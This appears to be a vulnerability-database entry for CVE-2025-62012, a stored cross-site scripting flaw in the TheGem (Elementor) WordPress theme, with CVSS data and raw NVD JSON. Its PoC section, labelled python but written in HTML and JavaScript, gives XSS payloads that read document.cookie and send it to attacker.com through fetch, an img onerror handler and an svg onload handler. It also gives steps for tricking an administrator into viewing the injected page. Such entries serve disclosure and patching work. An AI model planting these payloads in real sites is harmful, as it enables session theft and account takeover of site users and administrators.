Security Vulnerability Report
中文
CVE-2025-62012 CVSS 6.5 MEDIUM

CVE-2025-62012

Published: 2025-11-06 16:16:08
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodexThemes TheGem (Elementor) thegem-elementor.This issue affects TheGem (Elementor): from n/a through <= 5.10.5.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

TheGem (Elementor) <= 5.10.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62012 XSS PoC for TheGem Elementor Theme --> <!-- This PoC demonstrates storing malicious JavaScript via Elementor --> <!-- Step 1: Identify vulnerable endpoint --> <!-- TheGem Elementor allows editing page content through Elementor builder --> <!-- Step 2: Inject XSS payload via Elementor text/heading widget --> <!-- Example payload in Elementor text editor --> <script> // Malicious JavaScript - Cookie stealing example var stolenCookies = document.cookie; var attackerServer = 'https://attacker.com/steal?c=' + encodeURIComponent(stolenCookies); // Send stolen data to attacker fetch(attackerServer).then(response => { console.log('Cookies exfiltrated'); }).catch(err => { console.error('Exfiltration failed:', err); }); // Alternative payload - Session hijacking // <img src=x onerror="this.src='https://attacker.com/log?cookie='+document.cookie"> // <svg onload="fetch('https://attacker.com/log?cookie='+document.cookie)"> </script> <!-- Step 3: Social engineering - trick admin to preview/view the page --> <!-- Once visited, XSS executes in victim's browser context -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62012", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:08.130", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodexThemes TheGem (Elementor) thegem-elementor.This issue affects TheGem (Elementor): from n/a through <= 5.10.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/thegem-elementor/vulnerability/wordpress-thegem-elementor-theme-5-10-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}